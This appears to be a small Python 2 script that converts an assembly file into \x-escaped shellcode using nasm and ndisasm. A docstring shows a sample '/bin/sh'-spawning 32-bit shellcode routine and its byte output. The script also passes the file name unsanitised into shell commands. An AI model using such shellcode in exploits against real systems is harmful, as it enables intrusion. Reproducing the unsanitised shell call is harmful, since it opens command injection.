./misc/asm2shell.py

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
#!/usr/bin/python
#Takes an .asm (assembly) file
#turns it into shellcode using 
#nasm, ndisasm.
#Requirements: nasm, ndisasm
#d3hydr8[at]gmail[dot]com
 
import sys, os, commands, getopt, StringIO, re
 
if len(sys.argv) != 2:
	print "\n\td3hydr8[at]gmail[dot]com asm2shell\n"
	print "Usage: ./asm2shell.py <asm file>"
	print "ex: ./asm2shell.py shellcode.asm"
	sys.exit(1)
 
asm = sys.argv[1]
x = "\\x"
 
try:
  	open(asm)
except(IOError), msg: 
  	print "Error:",msg
	print "Check your .asm file path.\n"
  	sys.exit(1)
 
os.popen('nasm '+asm)
 
dis = StringIO.StringIO(commands.getstatusoutput('ndisasm -u '+asm[:-4])[1]).readlines()
for line in dis:
	sets = re.split('(\w\w)',line[10:].split(" ")[0])
	for set in sets:
		if set != "": print x+set
 
'''
sh-3.00# cat /home/d3hydr8/shell.asm
 
BITS 32
jmp short       callme
main:
        pop     esi
        xor     eax,eax
        mov byte [esi+7],al
        lea     ebx,[esi+5]
        push    ebx
        lea     ebx,[esi]
        push    ebx
        mov     al,57
        push    eax
        int     0x80
 
callme:
        call    main
        db      '/bin/sh'
 
sh-3.00# python asm2shell.py /home/d3hydr8/shell.asm
\xEB
\x12
\x5E
\x31
\xC0
\x88
\x46
\x07
\x8D
\x5E
\x05
\x53
\x8D
\x1E
\x53
\xB0
\x39
\x50
\xCD
\x80
\xE8
\xE9
\xFF
\xFF
\xFF
\x2F
\x62
\x69
\x6E
\x2F
\x73
\x68
sh-3.00#
 
'''
 
 

Back